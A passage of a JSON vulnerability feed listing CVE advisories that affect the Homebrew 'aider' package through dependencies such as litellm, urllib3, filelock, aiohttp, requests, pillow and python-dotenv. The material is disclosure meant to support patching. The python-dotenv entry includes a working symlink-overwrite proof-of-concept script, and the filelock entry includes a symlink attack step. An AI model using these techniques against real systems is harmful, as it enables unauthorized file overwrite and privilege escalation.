":null,"range_state":"affected","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"BerriAI litellm has SSRF via Unvalidated spec_path URL in MCP OpenAPI Spec Loader","details":"A weakness has been identified in BerriAI litellm up to 1.82.2. Affected by this vulnerability is the function load_openapi_spec_async of the file litellm/proxy/_experimental/mcp_server/openapi_to_mcp_generator.py of the component MCP OpenAPI Spec Loader. This manipulation of the argument spec_path causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12798"},{"type":"WEB","url":"https://gist.github.com/YLChen-007/c1104c529975699ba347feedfbe02c5a"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://vuldb.com/cve/CVE-2026-12798"},{"type":"WEB","url":"https://vuldb.com/submit/811290"},{"type":"WEB","url":"https://vuldb.com/vuln/372560"},{"type":"WEB","url":"https://vuldb.com/vuln/372560/cti"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-12799","published":"2026-09-15T08:43:30Z","modified":"2026-09-15T08:43:30Z","upstream":["GHSA-m2v5-74w2-qhcj","CVE-2026-12799"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"BerriAI litellm: UI User Enumeration leads to System-Wide Information Disclosure","details":"A security vulnerability has been detected in BerriAI litellm up to 1.82.2. Affected by this issue is the function ui_view_users of the file litellm/proxy/management_endpoints/internal_user_endpoints.py of the component Incomplete Fix CVE-2025-0628. Such manipulation leads to improper authorization. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12799"},{"type":"WEB","url":"https://gist.github.com/YLChen-007/3ace22e33e468d0166fe609c9fdf4184"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://vuldb.com/cve/CVE-2026-12799"},{"type":"WEB","url":"https://vuldb.com/submit/811291"},{"type":"WEB","url":"https://vuldb.com/vuln/372561"},{"type":"WEB","url":"https://vuldb.com/vuln/372561/cti"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-21441","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-38jv-5279-wg99","CVE-2026-21441","PYSEC-2026-1996"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.3","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.6.3","key":"pkg:pypi/urllib3@2.6.3","resource":"urllib3"}]},"summary":"Decompression-bomb safeguards bypassed when following HTTP redirects (streaming API)","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.6.2/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when `preload_content=False`.\n\nIf upgrading is not immediately possible, disable [redirects](https://urllib3.readthedocs.io/en/2.6.2/user-guide.html#retrying-requests) by setting `redirect=False` for requests to untrusted source.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-38jv-5279-wg99"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21441"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/8864ac407bba8607950025e0979c4c69bc7abc7b"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/01/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-22701","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-qmgc-5h2g-mvrw","CVE-2026-22701","PYSEC-2026-1374"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.20.3","resource":"filelock","resource_purl":"pkg:pypi/filelock@3.20.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"3.20.3","key":"pkg:pypi/filelock@3.20.3","resource":"filelock"}]},"summary":"filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock","details":"## Vulnerability Summary\n\n**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock\n\n**Affected Component:** `filelock` package - `SoftFileLock` class\n**File:** `src/filelock/_soft.py` lines 17-27\n**CWE:** CWE-362, CWE-367, CWE-59\n\n---\n\n## Description\n\nA TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly.\n\nThe vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service.\n\n### Attack Scenario\n\n```\n1. Lock attempts to acquire on /tmp/app.lock\n2. Permission validation passes\n3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock\n4. os.open() tries to create lock file\n5. Lock operates on attacker-controlled target file or fails\n```\n\n---\n\n## Impact\n\n_What kind of vulnerability is it? Who is impacted?_\n\nThis is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization.\n\n**Affected Users:**\n- Applications using `filelock.SoftFileLock` directly\n- Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy)\n\n**Consequences:**\n- **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed\n- **Denial of Service** - attacker can prevent lock file creation by maintaining symlink\n- **Resource serialization failures** - multiple processes may acquire \"locks\" simultaneously\n- **Unintended file operations** - lock could operate on attacker-controlled files\n\n**CVSS v4.0 Score:** 5.6 (Medium)\n**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N\n\n**Attack Requirements:**\n- Local filesystem access to the directory containing lock files\n- Permission to create symlinks (standard for regular unprivileged users on Unix/Linux)\n- Ability to time the symlink creation during the narrow race window\n\n---\n\n## Patches\n\n_Has the problem been patched? What versions should users upgrade to?_\n\nYes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation.\n\n**Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0)\n\n**Mitigation Details:**\n- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support\n- On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented\n- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented\n\n**Users should:**\n- Upgrade to the patched version when available\n- For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock`\n\n---\n\n## Workarounds\n\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nFor users unable to update immediately:\n\n1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146)\n\n2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories:\n ```bash\n chmod 700 /path/to/lock/directory\n ```\n\n3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation\n\n4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations\n\n---\n\n## References\n\n_Are there any links users can visit to find out more?_\n\n- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock)\n- **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html\n- **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html\n- **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html\n- **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html\n- **GitHub Repository:** https://github.com/tox-dev/filelock\n\n---\n\n**Reported by:** George Tsigourakos (@tsigouris007)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22701"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-22815","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-w2fm-2cpv-w7v5","CVE-2026-22815","PYSEC-2026-2094"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp allows unlimited trailer headers, leading to possible uncapped memory usage","details":"### Summary\n\nInsufficient restrictions in header/trailer handling could cause uncapped memory usage.\n\n### Impact\n\nAn application could cause memory exhaustion when receiving an attacker controlled request or response. A vulnerable web application could mitigate these risks with a typical reverse proxy configuration.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0c2e9da51126238a421568eb7c5b53e5b5d17b36","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-w2fm-2cpv-w7v5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22815"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0c2e9da51126238a421568eb7c5b53e5b5d17b36"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-25645","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-gc5v-m9x4-r6x2","CVE-2026-25645","PYSEC-2026-2275"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.33.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.32.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.32.5","key":"pkg:pypi/requests@2.32.5","resource":"requests"}]},"summary":"Requests has Insecure Temp File Reuse in its extract_zipped_paths() utility function","details":"### Impact\nThe `requests.utils.extract_zipped_paths()` utility function uses a predictable filename when extracting files from zip archives into the system temporary directory. If the target file already exists, it is reused without validation. A local attacker with write access to the temp directory could pre-create a malicious file that would be loaded in place of the legitimate one.\n\n### Affected usages\n**Standard usage of the Requests library is not affected by this vulnerability.** Only applications that call `extract_zipped_paths()` directly are impacted.\n\n### Remediation\nUpgrade to at least Requests 2.33.0, where the library now extracts files to a non-deterministic location.\n\nIf developers are unable to upgrade, they can set `TMPDIR` in their environment to a directory with restricted write access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-gc5v-m9x4-r6x2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25645"},{"type":"WEB","url":"https://github.com/psf/requests/commit/66d21cb07bd6255b1280291c4fafb71803cdb3b7"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.33.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-25990","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-cfh3-3jmp-rvhc","BIT-pillow-2026-25990","CVE-2026-25990","PYSEC-2026-2249"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"12.1.1","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow affected by out-of-bounds write when loading PSD images","details":"### Impact\nAn out-of-bounds write may be triggered when loading a specially crafted PSD image. Pillow >= 10.3.0 users are affected.\n\n### Patches\nPillow 12.1.1 will be released shortly with a fix for this.\n\n### Workarounds\n`Image.open()` has a `formats` parameter that can be used to prevent PSD images from being opened.\n\n### References\nPillow 12.1.1 will add release notes at https://pillow.readthedocs.io/en/stable/releasenotes/index.html","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-cfh3-3jmp-rvhc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25990"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9427"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/54ba4db542ad3c7b918812a4e2d69c27735a3199"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/9000313cc5d4a31bdcdd6d7f0781101abab553aa"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://pillow.readthedocs.io/en/stable/releasenotes/12.1.1.html"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-28684","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-mf9w-mj56-hr94","CVE-2026-28684","PYSEC-2026-2270"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.2.2","resource":"python-dotenv","resource_purl":"pkg:pypi/python-dotenv@1.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-dotenv","subject_version":"1.2.1","key":"pkg:pypi/python-dotenv@1.2.1","resource":"python-dotenv"}]},"summary":"python-dotenv: Symlink following in set_key allows arbitrary file overwrite via cross-device rename fallback","details":"### Summary\n\n`set_key()` and `unset_key()` in python-dotenv follow symbolic links when rewriting `.env` files, allowing a local attacker to overwrite arbitrary files via a crafted symlink when a cross-device rename fallback is triggered.\n\n\n### Details\n\nThe `rewrite()` context manager in `dotenv/main.py` is used by both `set_key()` and `unset_key()` to safely modify `.env` files. It works by writing to a temporary file (created in the system's default temp directory, typically `/tmp`) and then using `shutil.move()` to replace the original file.\n\nWhen the `.env` path is a symbolic link and the temp directory resides on a different filesystem than the target (a common configuration on Linux systems using tmpfs for `/tmp`), the following sequence occurs:\n\n1. `shutil.move()` first attempts `os.rename()`, which fails with an `OSError` because atomic renames cannot cross device boundaries.\n2. On failure, `shutil.move()` falls back to `shutil.copy2()` followed by `os.unlink()`.\n3. `shutil.copy2()` calls `shutil.copyfile()` with `follow_symlinks=True` by default.\n4. This causes the content to be written to the **symlink target** rather than replacing the symlink itself.\n\nAn attacker who has write access to the directory containing a `.env` file can pre-place a symlink pointing to any file that the application process has write access to. When the application (or a privileged process such as a deploy script, Docker entrypoint, or CI pipeline) calls `set_key()` or `unset_key()`, the symlink target is overwritten with the new `.env` content.\n\nThis vulnerability does not require a race condition and is fully deterministic once the preconditions are met.\n\n### Impact\nThe primary impacts are to **integrity** and **availability**:\n\n- **File overwrite / destruction (DoS):** An attacker can cause an application or privileged process to corrupt or destroy configuration files, database configs, or other sensitive files it would not normally have access to modify.\n- **Integrity violation:** The target file's original content is replaced with `.env`-formatted content controlled by the attacker.\n- **Potential privilege escalation:** In scenarios where a privileged process (running as root or a service account) calls `set_key()`, the attacker can leverage this to write to files beyond their own access level.\n\nThe scope of impact depends on the application using python-dotenv and the privileges under which it runs.\n\n\n### Proof of Concept\n\nThe following script demonstrates the vulnerability. It requires `/tmp` and the user's home directory to reside on different devices (common on systemd-based Linux systems with tmpfs).\n\n```python\nimport os\nimport sys\nimport tempfile\nfrom dotenv import set_key\n\n# Pre-condition: /tmp must be on a different device than the target directory.\ntmp_dev = os.stat(\"/tmp\").st_dev\nhome_dev = os.stat(os.path.expanduser(\"~\")).st_dev\nassert tmp_dev != home_dev, \"Skipped: /tmp and ~ are on the same device (no cross-device move)\"\n\nwith tempfile.TemporaryDirectory(dir=os.path.expanduser(\"~\")) as workdir:\n # File an attacker wants to overwrite\n target = os.path.join(workdir, \"victim_config.txt\")\n with open(target, \"w\") as f:\n f.write(\"DB_PASSWORD=supersecret\\n\")\n\n # Attacker pre-places a symlink at the path the application will use as .env\n env_symlink = os.path.join(workdir, \".env\")\n os.symlink(target, env_symlink)\n\n before = open(target).read()\n\n # Application writes a new key -- triggers the cross-device fallback\n set_key(env_symlink, \"INJECTED\", \"attacker_value\")\n\n after = open(target).read()\n\n print(\"Before:\", repr(before))\n print(\"After: \", repr(after))\n print(\"Symlink target overwritten:\", target)\n```\n\n**Expected output:**\n```\nBefore: 'DB_PASSWORD=supersecret\\n'\nAfter: \"DB_PASSWORD=supersecret\\nINJECTED='attacker_value'\\n\"\nSymlink target overwritten: /home/user/tmp806nut2g/victim_config.txt\n```\n\n### Remediation\n\nThe fix changes the `rewrite()` context manager in the following ways:\n\n1. **Symlinks are no longer followed by default.** When the `.env` path is a symlink, `rewrite()` now resolves it to the real path before proceeding, or (by default) operates on the symlink entry itself rather than the target.\n2. **A `follow_symlinks: bool = False` parameter** is added to `set_key()` and `unset_key()` for users who explicitly need the old behavior.\n3. **Temp files are written in the same directory** as the target `.env` file (instead of the system temp directory), eliminating the cross-device rename condition entirely.\n4. **`os.replace()` is used instead of `shutil.move()`**, providing atomic replacement without symlink-following fallback behavior.\n\nUsers are advised to upgrade to the patched version as soon as it is available on PyPI.\n\n### Timeline\n\n| Date | Event |\n| ------------ | ---------------------------------------------------------------------------------------------------- |\n| 2026-01-09 | Initial report received from Giorgos Tsigourakos regarding a separate, unrelated issue also located in `rewrite()` |\n| 2026-01-10 | Co-maintainer acknowledged report, requested clarification |\n| 2026-01-11 | Initial report assessed as not exploitable and closed |\n| 2026-02-24 | Reporter identified new, distinct cross-device symlink attack vector with deterministic exploitation |\n| 2026-02-26 | Co-maintainer confirmed vulnerability and shared draft patch |\n| 2026-02-26 | Reporter validated fix with monkeypatched PoC, proposed CVSS |\n| 2026-03-01 | Patch merged to main |\n| 2026-03-01 | Patched version released to PyPI |\n| 2026-04-20 | Advisory published |\n\n### Patches\n\nUpgrade to v.1.2.2 or use the patch from https://github.com/theskumar/python-dotenv/commit/790c5c02991100aa1bf41ee5330aca75edc51311.patch","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/theskumar/python-dotenv/security/advisories/GHSA-mf9w-mj56-hr94"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28684"},{"type":"WEB","url":"https://github.com/theskumar/python-dotenv/commit/790c5c02991100aa1bf41ee5330aca75edc51311"},{"type":"WEB","url":"https://github.com/theskumar/python-dotenv/commit/790c5c02991100aa1bf41ee5330aca75edc51311.patch"},{"type":"PACKAGE","url":"https://github.com/theskumar/python-dotenv"},{"type":"WEB","url":"https://github.com/theskumar/python-dotenv/releases/tag/v1.2.2"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-34513","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-hcc4-c3v8-rx92","CVE-2026-34513","PYSEC-2026-2095"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP Affected by Denial of Service (DoS) via Unbounded DNS Cache in TCPConnector","details":"### Summary\n\nAn unbounded DNS cache could result in excessive memory usage possibly resulting in a DoS situation.\n\n### Impact\n\nIf an application makes requests to a very large number of hosts, this could cause the DNS cache to continue growing and slowly use excessive amounts of memory.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/c4d77c3533122be353b8afca8e8675e3b4cbda98","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hcc4-c3v8-rx92"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34513"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c4d77c3533122be353b8afca8e8675e3b4cbda98"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-34514","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-2vrm-gr82-f7m5","CVE-2026-34514","PYSEC-2026-2096"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP has CRLF injection through multipart part content type header construction","details":"### Summary\n\nAn attacker who controls the `content_type` parameter in aiohttp could use this to inject extra headers or similar exploits.\n\n### Impact\n\nIf an application allows untrusted data to be used for the multipart `content_type` parameter when constructing a request, an attacker may be able to manipulate the request to send something other than what the developer intended.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/9a6ada97e2c6cf1ce31727c6c9fcea17c21f6f06","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2vrm-gr82-f7m5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34514"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9a6ada97e2c6cf1ce31727c6c9fcea17c21f6f06"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-34515","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-p998-jp59-783m","CVE-2026-34515","PYSEC-2026-2097"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP affected by UNC SSRF/NTLMv2 Credential Theft/Local File Read in static resource handler on Windows","details":"### Summary\n\nOn Windows the static resource handler may expose information about a NTLMv2 remote path.\n\n### Impact\n\nIf an application is running on Windows, and using aiohttp's static resource handler (not recommended in production), then it may be possible for an attacker to extract the hash from an NTLMv2 path and then extract the user's credentials from there.\n\n-----\n\nPatch: 